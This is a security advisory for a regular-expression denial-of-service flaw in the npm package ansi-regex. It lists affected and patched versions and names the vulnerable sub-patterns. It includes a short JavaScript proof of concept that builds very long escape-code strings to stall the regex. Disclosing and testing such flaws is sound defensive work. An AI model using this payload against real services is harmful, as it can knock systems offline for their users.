| Package | Affected versions | Patched versions |
|---|---|---|
| ansi-regex | = 3.0.0= 5.0.0= 6.0.0≥ 4.0.0, < 4.1.1 | 4.1.1 |
| communications cloud native core policy | = 1.15.0 | |
| ansi-regex | ≥ 3.0.0, < 3.0.1≥ 4.0.0, < 4.1.1≥ 5.0.0, < 5.0.1≥ 6.0.0, < 6.0.1 | 3.0.14.1.15.0.16.0.1 |
ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.
Proof of Concept
import ansiRegex from 'ansi-regex';
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = "\u001B["+";".repeat(i*10000);
ansiRegex().test(attack_str)
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free